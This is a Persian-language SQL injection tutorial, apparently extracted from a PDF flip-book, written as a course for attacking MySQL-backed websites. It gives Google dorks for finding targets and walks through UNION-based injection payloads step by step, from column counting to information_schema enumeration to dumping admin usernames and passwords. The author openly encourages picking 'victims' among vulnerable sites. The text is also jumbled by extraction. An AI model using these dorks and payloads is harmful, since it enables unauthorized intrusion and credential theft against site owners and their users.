Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
نويسنده مقاله : ) پسر 1 چشم (<br />
My Sql Injection<br />
آموزش کامل نفوذ به سايت های my sql<br />
Xinf3rnal<br />
نويسنده :
نويسنده مقاله : ) پسر 1 چشم (<br />
My Sql Injection<br />
==>>> به نام خدای هکر ها
نويسنده مقاله : ) پسر 1 چشم (<br />
My Sql Injection<br />
و حات :<br />
در اين مقاله قصد دارم شما را با يكي از بهترين و مفيد ترين و پر استفاده ترين<br />
روش از روش هاي نفوذ گري آشنا كنم. قبل از هرچيز بايد بگم كه مطالب اين<br />
مقاله ممكنه براي افراد مبتدي سنگين باشه ولي با تمرين همه چيز حل ميشه و<br />
ازتون ميخوام كه هيچ مطلبي رو سرسري رد نكنيد و روي تمام مطالب تمرين<br />
كنيد در غير اين صورت مقاله رو ببنديد و يه شيفت ديليت و شما را به خير و ما<br />
را به سلامت<br />
...<br />
پس لطف كنيد تا اخر مقاله با من همراه باشيد<br />
Sql چيست ؟<br />
Sql<br />
مخفف كلمه ي Structured query language به معني زبان پاسخ گويي<br />
ساخت يافته ميباشد<br />
.<br />
با Sql كارهاي بسيار زيادي ميتوان انجام داد (كه در مقالات<br />
بعدي حتما آموزش خواهم داد) و شما ميتوانيد به يك ديتابيس دسترسي داشته و<br />
اطلاعات آن را بازگرداني كنيد و اطلاعات به آن بدهيد و حذف كنيد و يا حتي<br />
آپديت كنيد و بسياري از كارهاي ديگر.<br />
شما با ياد گيري اين آموزش ميتوانيد ميليون ها سايت را بزنيد كه تقريبا<br />
آنها آسيب پذير هستند در نتيجه با يك جستجوي كوچول ميتونيد يك قرباني<br />
نصيب خودتان كنيد<br />
90 درصد
نويسنده مقاله : ) پسر 1 چشم (<br />
My Sql Injection<br />
در اين آموزش<br />
Step 1<br />
Sql Injection<br />
نباشه.همانطور كه ميدانيد مطالب براي<br />
اولين كار براي شروع پيدا كردن<br />
قصد دارم شما را با اين متد به صورت كامل آشنا كنم تا ديگه هيچ سوالي براي عزيزان<br />
My Sql هستند.<br />
) Target هدف (<br />
است كه شما براي اين كار ميتونيد اين چنين در گوگل سرچ كنيد<br />
توجه )<br />
داشته باشيد شما در سايت هاي جستوجو گر هاي مختلف نميتوانيد هدفتان را پيدا كنيد و اين كار به بزرگي و پيشرفته بودن<br />
گوگل بر ميگردد<br />
1. site:.in inurl:id (inurl:.php?)<br />
2. inurl:'gov' and '.php' and 'pahe=' and 'id=' or 'news='<br />
3. inurl:"news.php?id=" site:.no<br />
4. inurl:"id=" & in****:"Warning: mysql_fetch_assoc()<br />
5. inurl:(Page.(asp or php or...))?id=<br />
6. Site : .(Domains) Inurl:id (inurl:.(Php or asp)?)<br />
7. inurl:news.php?id=<br />
=<br />
: (<br />
page<br />
) و هزاران Dorkِ ديگه كه در DvD آموزشي من قرار دارد)<br />
مثلا اگر در inurl:news.php?id= بعد از ما يك عدد قرار دهيم در جستجوي گوگل تمام سايت هاي مورد نظر با همون<br />
باز ميشوند مثلا اگه عدد 12 را قرار دهيم تمام سايت هايي كه آخرشان news.php دارن به اين صورت ظاهر ميشوند :<br />
www.target.com/news.php?id=12<br />
پس پيشنهاد ميكنم كه عدد نزاريد چون امكان داره كه سايت هايي كه 12 صفحه دارن كم باشن و اين كار مشكل شما را در<br />
جستجو زياد ميكند<br />
همچنين براي Mssql وDomain هاي مختلف تغييراتي روي لينك ها انجام دهيد<br />
خب حالا فرض كنيد كه ما هدفمون رو پيدا كرديم و حالا ميخواييم بدونيم باگ داره يا نه ؟<br />
براي اين كار من دو روش كاراكتر و منطقي رو به شما آموزش ميدم<br />
كاراكتر<br />
در اينجا من با اضافه كردن يك ' به آخر سايت Error مربوطه رو ميگيرم. پس به اين صورت عمل ميكنم :<br />
www.target.com/news.php?id=12'<br />
منطقي<br />
در اين تست به آخر Url يك 0=1 And و 1=1 And اضافه ميكنم و اگر زماني 0=1 And رو اضافه كردم و صفحه ي<br />
سايت كامل و به صورت قبل باز نشد يا Error داد و ناقص بود يعني سايت آسيب پذير هست. و با اضافه كردن 1=1 And<br />
هم صفحه بايد به صورت كامل لود بشه .<br />
در اين Step با Find كردن Target با استفاده از گوگل و چك كردن سايت واسه اين كه سايت باگ داره يا نه اشنا شديد.<br />
در مراحل بعدي بيشتر با Inject كردن آشنا ميشويد<br />
.<br />
.<br />
:<br />
:<br />
.1<br />
.2
نويسنده مقاله : ) پسر 1 چشم (<br />
My Sql Injection<br />
Step 2<br />
در اين قسمت ما ميخوايم تعداد column هاي هدف رو پيدا كنيم و براي اين منطور ما بايد از دستور<br />
order by [column test]--<br />
:<br />
استفاده كنيم. ما بايد از اين دستور در انتهاي Url سايتي كه از آن Error مربوطه رو گرفتيم استفاده كنيم و براي بار اول<br />
به جاي<br />
كنيد<br />
column test<br />
يك نامبر ميزاريم.اگر عددي كه گذاشتيم بعد از لود پيج Error گرفتيم يعني تعداد Column هاي<br />
ما كمتر از اين عدد است.بدين ترتيب نامبر رو كم ميكنيم تا پيج كامل لود بشه.<br />
مثلا ما با نامبر 20 ارور گرفتيم ولي با نامبر 19 ارور نگرفتيم پس تعداد Column هاي ما 19 تا هست . مانند زير<br />
:<br />
www.target.com/news.php?id=12 order by 50--<br />
www.target.com/news.php?id=12 order by 20--<br />
www.target.com/news.php?id=12 order by 19--<br />
error<br />
error<br />
no error<br />
معمولا Number Id رو با "-" ميخونند و نامبري ميذارن كه از تعداد تيبل ها بيشتر باشه. پس بهتر است به صورت زير عمل<br />
:<br />
www.target.com/news.php?id=-999 order by 19--<br />
در اين جا من در بين<br />
number] Order By [column از<br />
:<br />
در كل تفاوتي با هم ندارند و شما ميتوانيد از<br />
Space استفاده كردم ولي شما ميتوانيد به صورت هاي زير عمل كنيد<br />
www.target.com/news.php?id=-999+order+by+10--<br />
www.target.com/news.php?id=-999/**/order/**/by/**/10/*<br />
+<br />
استفاده كنيد
نويسنده مقاله : ) پسر 1 چشم (<br />
My Sql Injection<br />
Step 3<br />
در درس های قبلی شما تونستيد Bug<br />
رو پيدا کرده و تعداد کلمن ها رو بشماريد. در اين مرحله ميخوام شما را با دستور زير آشنا کنم<br />
:<br />
زماني كه ما با Order By تعداد كلمن ها رو شمرديم بايد بدونيم كه ميتونيم به چه كلمن هايي<br />
توسط اين دستور اين كار را انجام ميديم.<br />
در اين دستور ما به جاي all number column<br />
باشيم بايد به صورت زير عمل كنيم<br />
union+select+[all number column]--<br />
تعداد كلمن هايي كه شمرديم رو از<br />
) Inject<br />
1 ميزاريم.<br />
تزريق ( كنيم. و ما<br />
يعني اگر 19 كلمن داشته<br />
بعد ار اين كه ما از Union Select استفاده كرديم يك سري نامبر يا همون عدد روي پيج خواهند امد كه نامبر هاي كلمن<br />
هايي هستند كه ما ميتونيم به اونها تزريق كنيم يا كلمن هاي مورد نطر رو بكشيم بيرون كه در درس هاي بعدي با آن آشنا<br />
ميشويد<br />
نكته ي مهم اينه كه ما زماني از Union Select استفاده ميكنيم كه Order By جواب بده يعني اگر ما با Order By نتونيم<br />
كلمن ها رو بشناسيم توسط Union يكي يكي از يك شروع ميكنيم و نامبر رو بالا ميبريم تا جايي كه به ارور نرسيم<br />
الان فرض كنيد كه Oder By جواب نميده همينطور با Union ميريم جلو تا به تعداد مورد نظر برسيم مانند زير<br />
:<br />
و همينطور بالا ميبريم تا به عدد زير برسيم و سايت ديگه ارور نده و كلمن هاي قابل تزريق ظاهر بشن www.target.com/news.php?id=-999+and+1=0+union+all+select+1-- eroor<br />
www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2-- error<br />
www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2.3-- error<br />
www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2.3.4-- error<br />
www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2.3.4.5-- error<br />
www.target.com/news.php?id=-999+and+1=0+union+all+select+1.2.3.4.5.6-- error<br />
)<br />
خورد كنه نه ؟<br />
اين كار اعصاب<br />
:<br />
www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-<br />
-<br />
(<br />
www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-<br />
-
نويسنده مقاله : ) پسر 1 چشم (<br />
My Sql Injection<br />
Step 4<br />
در اين مرحله ميخوام شما را با چند دستور براي تزريق به كلمن هاي قابل تزريق آشنا كنم. دستوراتي كه دونه دونه<br />
Information رو از سايت بيرون ميكشه كه من با توضيح به شما آموزش ميدم:<br />
version()<br />
اين دستور جهت به دست آوردن Version سايت My sql هست كه خيلي مهمه تا بفهميم تا قرباني ما از چه ورژني استفاده<br />
ميكنه چون ورژن 4 و ورژن 5 با هم متقاوت هستند كه در مراحل بعدي به صورت كامل براتون توضيح ميدم<br />
دستوز ورژن به اين صورت هم به كار ميرود<br />
دستور بعدي به صورت زير است<br />
اين دستور جهت برگرداندن نام<br />
يا<br />
@@version<br />
user()<br />
:<br />
:<br />
User هست<br />
و همچنين براي برگرداندن نام ديتا بيس از دستور زير استفاده ميكنيم<br />
database()<br />
:<br />
در بعضي از سايت ها به اين بر ميخوريد كه دستور version() جواب نميده كه بايد اون رو<br />
كار ميتوانيد از دستور زير استفاده كنيد<br />
Bypass كنيد.<br />
:<br />
اين دستور كه Unhex ميكند براي دستورات بالا به شكل هاي زير به كار ميرود<br />
و همچنين اگر هيچ كدام از دستورات بالا اجرا نشد دستور ديگري وجود دارد به نام<br />
اين دستور هم 3 شكل كلي زير را دارد<br />
براي اين<br />
Unhex<br />
unhex(hex(version()))<br />
unhex(hex(user()))<br />
unhex(hex(database()))<br />
Convert<br />
convert(version() using latin1)<br />
convert(user() using latin1)<br />
convert(database() using latin1)<br />
:<br />
:<br />
:<br />
با استفاده از اين دستورات شما ميتوانيد ورژن مورد نظرتان را ببينيد.<br />
(( خب سوال پيش مياد كه اين دستورات رو كجا بايد وارد كنيم ؟؟؟!!؟<br />
عدد هايي روي صفحه ظاهر شدند مثل<br />
مانند زير<br />
يا<br />
12 كه شما ميتوانيد به جاي<br />
مثلا فرض كنيد كه با اين دستور<br />
:<br />
.<br />
www.target.com/news.php?id=-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-<br />
-<br />
2 و<br />
:<br />
www.target.com/news.php?id=-<br />
999+and+1=0+union+all+select+1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--<br />
هر كدام كه دلتان خواست دستورات را وارد كنيد<br />
www.target.com/news.php?id=-<br />
999+and+1=0+union+all+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
نويسنده مقاله : ) پسر 1 چشم (<br />
My Sql Injection<br />
يا<br />
و براي Unhex كردن<br />
www.target.com/news.php?id=-<br />
999+and+1=0+union+all+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--<br />
و همچنين حتي ميتونيد در هر دو كلمن دستورات رو وارد كنيد ) شايد سايت 1 كلمن يا حتي 4 تا كلمن برا تزريق هم بده<br />
از كار اين برنامه نويسان بي در و پيكر بعيد نيست<br />
www.target.com/news.php?id=-<br />
999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,database(),13,14,15,16,17,18,19--<br />
:<br />
www.target.com/news.php?id=-<br />
999+and+1=0+union+all+select+1,unhex(hex(version())),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--<br />
)<br />
((<br />
www.target.com/news.php?id=-<br />
999+and+1=0+union+all+select+1,version(),3,4,5,6,7,8,9,10,11,user(),13,14,15,16,17,18,19--<br />
Step 5<br />
در اين قسمت ميخوام شما را با Inj گرفتن در ورژن 5 به پايين به صورت كامل آشنا كنم.مبناي Inj در اين سري از ورژن ها<br />
حدس زدن هست و شما بايد نام Column و Table هاي مورد نظر خودتون رو حدس بزنيد.<br />
اولين كار فراخواني Table هست كه با دستور From امكان پذير است و شكل كلي آن به صورت زير است<br />
كه به جاي<br />
بايد<br />
:<br />
-999+and+1=0+union+all+select[all column numbers]+from+[tabel name]--<br />
:<br />
Table [table name]<br />
رو حدس بزنيم. مثلا آن را به شكل زير مينويسيم<br />
999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+admin--<br />
مثلا فرض كنيم من تيبل Admin رو حدس زدم .و درست هم از آب در اومد و سايت كامل لود شد و هيچ اروري نگرفتيم در<br />
غير اين صورت بايد از تيبل هاي زير( معمولا از تيبل هاي پر استفاده تست ميكنند) استفاده كنيم. مانند<br />
:<br />
admin , administrator , user , users , number , numbers , login , as_user , admin_user , admins<br />
در مرحله ي بعد ما بايد به حدس زدن كلمن ها بپردازيم كه آن ها را به جاي نامبر هاي قابل تزريق كه در سايت ظاهر<br />
ميشوند قرار ميدهيم مانند<br />
:<br />
user , user_name , user_admin , admin_user , username , login , pass , password ,<br />
admin_pass<br />
در اينجا ما از Union استفاده ميكنيم تا كلمن هاي قابل تزريق رو پيدا كنيم.<br />
مثلا ما تيبل رو حدس زديم كه Admin بود و همچنين Column هاي ما هم<br />
زير جايگزين ميكنيم<br />
و<br />
password هستند كه به صورت<br />
www.target.com/news.php?id=-<br />
Username<br />
:<br />
www.target.com/news.php?id=-<br />
999+and+1=0+union+all+select+1,username,3,4,5,6,7,8,9,10,11,password,13,14,15,16,17,18,19+from+admin--<br />
و به جاي عدد 2 و<br />
12 كه در سايت بود يوزرنام و پسورد ادمين سايت رو به ما نشون ميده<br />
*** بعضي زمان ها امكان داره كه نام تيبل رو چيز غير قابل حدس داده باشند(برنامه نويسان به اصتلاح حرفه اي) ***<br />
خب حالا فرض كنيد كه ميخواهيد يوزرنام و پسورد رو بدست بياريد ولي فقط يك كلمن براي تزريق داريد يعني روي<br />
سايت فقط يك عدد نوشته شد مثلا 9 اولا كه شما ميتوانيد دونه دونه يوزر و پسورد رو به دست بياوريد يعني اول يوزر نام<br />
رو بخوانيد و بعد پسورد رو ولي شما ميتوانيد به جاي اين كار كل يوزرنام و پسورد رو با هم در همون تيبل بيرون بكشيد<br />
كه در اين صورت بايد از دستور زير استفاده كنيد<br />
Concat<br />
:
نويسنده مقاله : ) پسر 1 چشم (<br />
My Sql Injection<br />
توسط اين دستور ما ميتوانيم يوزر نام و پسورد رو در يك كلمن با هم بيرون بكشيم و فراخواني كنيم كه به صورت زير آن<br />
را فراخواني ميكنيم<br />
:<br />
www.target.com/news.php?id=-<br />
999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,concat(username,password),10,11,12,13,14,15,16,17,18,19+from<br />
+admin--<br />
ولي مشكلي كه اينجا پيش مياد اين است كه يوزر نام و پسورد با هم نوشته ميشوند و شما نميدانيد كه يوزر نام كدام است<br />
مثلا ممكنه كه يوزر Iman و پسورد 1Eye باشد در اين صورت به جاي عدد 9 اين چنين نوشته ميشود :<br />
ما براي جداسازي و رفع اين مشكل دو راه پيش رو داريم. روش اول روش<br />
است كه معادل hex يعني : است كه ما ميتوانيم<br />
Iman1Eye<br />
Hex<br />
= 0X<br />
= 3a<br />
معادل شروع شدن Hex است<br />
معادل كاراكتر<br />
كه در نهايت به شكل زير خروجي ميگيريم :<br />
: است<br />
كاراكتر بعدي كاراكتر زير است<br />
يوزر نام و پسورد رو با هم جدا كنيم به شكل زير :<br />
concat(username,0x3a,password)<br />
Iman:1Eye<br />
char()<br />
:<br />
كه معادل كد ascii هست كه به شكل زير مينويسيم<br />
concat(username,char(58),password)<br />
:<br />
= 58<br />
معادل كد اسكي<br />
group_concat()<br />
: است<br />
همانند Concat هست با اين تفاوت كه اگر سايت چندين ادمين داشته باشد همه رو بيرون ميكشد<br />
اين دستور هم همانند Concat هست با اين تفاوت كه اگر ما چند كلمن رو بخواهيم بيرون بكشيم لازم نيست كه<br />
بين تمام كلمن هايي كه ميخواهيم بيرون بكشيم بنويسيم يك بار اول مينويسيم بعد خودش بين همه كاراكتر<br />
گذاشت كه براي اين كار به صورت زير عمل ميكنيم<br />
concat_ws()<br />
0x3a رو<br />
: خواهد<br />
:<br />
concat_ws(0x3a,username,password,email,id)
Step 6<br />
My Sql Injection<br />
نويسنده مقاله<br />
خب دوستان در اين بخش ميخوام بهتون نحوه ي حمله به سايت هاي ورژن 5 به بالا رو آموزش بدم.<br />
: ) پسر 1 چشم (<br />
در My sql 5 به بالا<br />
امكان بيرون كشيدن نام همه ي تيبل ها و كلمن ها وجود دارد و نيازي به حدس زدن ندارد كه اين نوع كار هكر را آسان تر<br />
خواهد كرد و مسلما از ورژن 5 به پايين آسان تر است.شكل كلي<br />
يعني براي بيرون كشيدن نام تمامي تيبل ها<br />
:<br />
-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10+from+information_schema.[tables or columns]<br />
و براي بيرون كشيدن نام تمامي كلمن ها ازدستور زير استفاده ميكنيم<br />
:<br />
-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10+from+information_schema.tables<br />
:<br />
-999+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10+from+information_schema.columns<br />
ما توسط information_schema ميخواهييم information رو بيرون بكشيم. Information_schema يك كاتالوگ از نام تمامي<br />
تيبل ها و كلمن ها است.<br />
حالا فرض ميكنيم كه يك قرباني با ورژن 5 داريم و سايت يك عدد داد مثل 8 كه در اين صورت اولين كار بيرون كشيدن<br />
تيبل هاست كه به صورت زير عمل ميكنيم<br />
:<br />
-999+and+1=0+union+all+select+1,2,3,4,5,6,7,table_name,9,10+from+information_schema.tables--<br />
كه ما به جاي 8 دستور Table_name رو نوشتيم تا نام اولين تيبل رو به ما نشون بده و همينطور اگه بخواهيم<br />
Column_name رو ببينيم به صورت زير عمل ميكنيم<br />
:<br />
-999+and+1=0+union+all+select+1,2,3,4,5,6,7,column_name,9,10+from+information_schema.tables--<br />
و به همين صورت ما نام كلمن ها رو بيرون كشيديم و به جاي 8 ما Column_name<br />
نشون بده.<br />
رو نوشتيم تا اولين نام رو به ما<br />
و براي اين كه همه ي Table_name ها و Column_name ها رو به صورت ليست در سايت بيرون بكشيم بايد از دستور<br />
Group_concat استفاده كنيم كه 2 شكل كلي آن به صورت زير است<br />
:<br />
-999+and+1=0+union+all+select+1,2,3,4 ,5,6,7, group_concat(table_name),9,10+from+information_schema.tables--<br />
:<br />
-999+and+1=0+union+all+select+1,2,3,4 ,5,6,7, group_concat(column_name),9,10+from+information_schema.columns--<br />
و براي تمامي كلمن ها<br />
در 2 شكل بالا يك ليست از نام تمامي تيبل ها و كلمن ها به ما نشون ميده كه بعضي ازتيبل و كلمن هاي ما مربوط به<br />
Schema ميباشند كه استفاده نميشوند و ما بايد به دنبال تيبل و كلمن هايي بگرديم كه در انها Information و اطلاعات<br />
مورد نظر ما وجود دارد.<br />
حالا امكان داره بعد از ليست كردن تيبل و كلمن ها به تيبل مورد نظر دست پيدا نكنيم و براي رفع اين مشكل ميتوانيم از<br />
دستور<br />
limit offset<br />
و دستور شرطي where استفاده كنيم كه در درس هاي بعدي به صورت كامل آموزش خواهم داد.<br />
حالا فرض كنيد كه تمامي تيبل ها و كلمن ها را روي يك سايت بيرون كشيديم كه تيبل مورد نظر ما Amin_user بود و<br />
كلمن هاي ما هم Username و Password هستند پس ما به صورت زير عمل ميكنيم : (كلمن قابل تزريق ما 4 است<br />
براي بيرون كشيدن نام يوزر و از دستور زير<br />
(<br />
-999+and+1=0+union+all+select+1,2,3,username,5,6,7,8,9,10+from+admin_user--<br />
:<br />
-999+and+1=0+union+all+select+1,2,3,password,5,6,7,8,9,10+from+admin_user--<br />
براي بيرون كشيدن نام پسورد هست كه براي به دست آوردن هر دو با هم به صورت زير عمل ميكنيم<br />
:<br />
-999+and+1=0+union+all+select+1,2,3,group_concat(username,0x3a,password)+from+admin_user--<br />
Step 7<br />
در اين بخش ياد ميگيريد كه چگونه ميتونيد نام تيبل و كلمن رو توسط<br />
Limit و<br />
Offset بيرون بكشيد. توسط<br />
Offset ميتونيد دونه دونه نام Table_name ها و Column_name ها رو بيرون كشيد. شكل كلي:<br />
Limit و
نويسنده مقاله : ) پسر 1 چشم (<br />
My Sql Injection<br />
-<br />
999+and+1=0+union+all+select+1,2,3,4,table_name,6,7,8,9,10+from+information_schema.tables+limit+1+offset<br />
+1--<br />
:<br />
-<br />
999+and+1=0+union+all+select+1,2,3,4,column_name,6,7,8,9,10+from+information_schema.columns+limit+1+o<br />
ffset+1--<br />
output<br />
Limit<br />
:<br />
Offset و Limit<br />
-<br />
999+and+1=0+union+all+select+1,2,3,4,table_name_6,7,8,9,10+from_information_schema.tables+limit+1+offset<br />
و براي كلمن ها<br />
دستور براي محدود كردن<br />
در شكل زير ما توسط<br />
مورد نظر به كار ميرود .<br />
اولين Table_name رو توسط اين دستور<br />
+1--<br />
و اولين Column_name رو توسط اين دستور:<br />
-999+and+1=0+union+all+select+1,2,3,4,column_name,6,7,8,9,10+information_schema.columns+limit+1+offset+1--<br />
بيرون ميكشيم. اما براي اينكه ما به ترتيب تمامي نام ها رو بيرون بكشيم بايد به Number Offset يكي اضافه كنيم يعني<br />
براي نام هاي بعدي به شكل زير مينويسيم<br />
.<br />
+limit+1+offset+2--<br />
+limit+1+offset+3--<br />
+limit+1+offset+4--<br />
+limit+1+offset+5--<br />
Limit<br />
:<br />
و همينطور ادامه ميديم تا به تيبل و كلمن هاي مورد نظر خودمون برسيم. معمولا زماني به كار ميرود كه ما نتونيم<br />
يا همون ليست كردن تيبل ها به تيبل مورد نظر برسيم.<br />
توسط<br />
Limit به يك شكل ديگر هم به كار ميرود كه من يك اشاره ي كوچيك بهش ميكنم. شكل كلي دستور<br />
Group_concat<br />
:<br />
-999+and+1=0+union+all+select+1,2,3,4,column_name,6,7,8,9,10+information_schema.columns+limit+1,1--<br />
كه در اين دستور بايد به شكل زير تغييرات را انجام بدهيم :<br />
+limit+2,1--<br />
+limit+3,1--<br />
+limit+4,1--<br />
+limit+5,1--
نويسنده مقاله : ) پسر 1 چشم (<br />
Step 8<br />
My Sql Injection<br />
در اين بخش ميخوايم دستور Where رو با هم كار كنيم<br />
.<br />
Where يك دستور شرطي است كه كلي كار رو آسون كرده. براي<br />
اين كه ما بعد از بدست آوردن Table_name مورد نظر بتونيم كلمن هاي درخواستي رو محدود كنيم از<br />
ميكنيم . Queryً رو به صورتي ميديم كه Output ما تنها كلمن هاي تيبل مورد نظر باشد<br />
شكل كلي دستور<br />
Where استفاده<br />
:<br />
union+all+select+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name='[table_name<br />
]'--<br />
فرض كنيم در يك سايت Tbale_name ما Admin هست و ما ميخواهيم كلمن هاي مربوط به آون رو بيرون بكشيم در اين<br />
صورت به شكل زير عمل ميكنيم :<br />
union+all+select+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name='admin'--<br />
نكته ي ديگري وجود داره اينه كه امكان داره با ارور مواجه بشيم كه دليل اون On بودن Magic quote هست ولي هيچ<br />
مشكل و هيچ چيزي نميتونه چلوي نفوذ يك هكر رو بگيره و شما زماني كه با اين مشكل مواجه شديد ميتونيد با<br />
در دي وي دي آموزشي من به صورت كامل توضيح داده شده است<br />
Char يا<br />
(<br />
Hex كردن table_name اون رو Bypass كنيد )
نويسنده مقاله : ) پسر 1 چشم (<br />
Step 9<br />
My Sql Injection<br />
در اين بخش ميخوام بهتون آموزش بدم كه چطور ميشه توسط نام <strong>Database</strong> تيبل هاي مربوطه ي همون ديتابيس رو<br />
بيرون بكشيم كه كار رو نسبت به<br />
Limit و<br />
Offset آسون تر ميكنه.<br />
براي اين كار اول بايد نام ديتابيس تيبل رو بيرون بكشيم . شكل كلي<br />
در صورتي هم كه به محدوديت بر خورديد ميتوانيد به شكل زير عمل كنيد<br />
:<br />
-999+and+1=0+union+all+select+1,2,3,4,5,6,7,database(),9,10,11,12--<br />
:<br />
-999+and+1=0+union+all+select+1,2,3,4,5,6,7,unhex(hex(database())),9,10,11,12--<br />
حالا ما ميخواييم توسط دستور Where و نام ديتا بيس تيبل هاي مورد نظر رو به دست بياريم. شكل كلي دستور :<br />
-<br />
999+and+1=0+union+all+select+1,2,3,4,5,6,7,group_concat(table_name),9,10,11,12+from+information_schema.tables+wh<br />
ere+table_schema='[database name]'--<br />
و در صورتي هم كه به محدوديت برخورديد بايد نام ديتابيس رو Char يا Hex<br />
كنيد.<br />
I Am Iranian Crazy >> 1 EYe
نويسنده مقاله : ) پسر 1 چشم (<br />
My Sql Injection<br />
توضيحات مفهومي<br />
Group_concat()<br />
Table_name<br />
Column_name<br />
0x3a<br />
Information_schema<br />
limit<br />
offset<br />
اين دستور براي اين است كه دسته اي از<br />
ركورد ها رو بررسي كند<br />
اي ن عب ارت ن ام فيل دي اس ت در ج دول<br />
information_schema كه نام ساير جدول<br />
در آن نگهداري ميشوند و به كمك اين عبارت<br />
ميتوانيم نام جدولي كه در آن دسترسي ها و<br />
نام كاربري ها وجود دارد را ببينيم<br />
اين دستور نيز مانند table_name فيلدي<br />
در جدول information_schema است كه<br />
در آن نام ستون ها نگه داري ميشوند و با<br />
كمك اين عبارت ميتوانيم نام فيلد هاي يوزر<br />
نام وپسورد را بيابيم<br />
اين عبارت كد<br />
hex كاراكتر :<br />
است و براي<br />
تفكيك مقادير خروجي از ديتابيس استفاده<br />
ميشود.<br />
اين عبارت نام جدولي است كه روي هر<br />
هاستي كه از my sql 5 استفاده ميكند وجود<br />
دارد. در اين ديتابيس اطلاعات مربوط به ساير<br />
ديتابيس هايي كه كاربر ميسازد ذخيره<br />
ميشود .اطلاعاتي از قبيل نام جدول و نام<br />
ركورد و حتي نام ديتابيس ها. ما ميتوانيم با<br />
گذاشتن يك query ساده از اين ديتابيس<br />
اطلاعاتي كه براي ما سود مند هست رو<br />
استخراج كنيم<br />
اين دستور sql براي محدود كردن نمايش<br />
اطلاعات بر مبناي تعداد ركورد استفاده<br />
ميشود<br />
كار اين دستور قدم زدن در بين ركورد ها<br />
است.<br />
Limit 1 offset 1 يعني نمايش اولين ركورد و<br />
limit 1 offset 2 يعني نمايش دومين ركورد<br />
است. دستور offset تعداد ركورد ها رو از<br />
ضفر شروع ميكند
نويسنده مقاله : ) چشم پسر ( 1<br />
My Sql Injection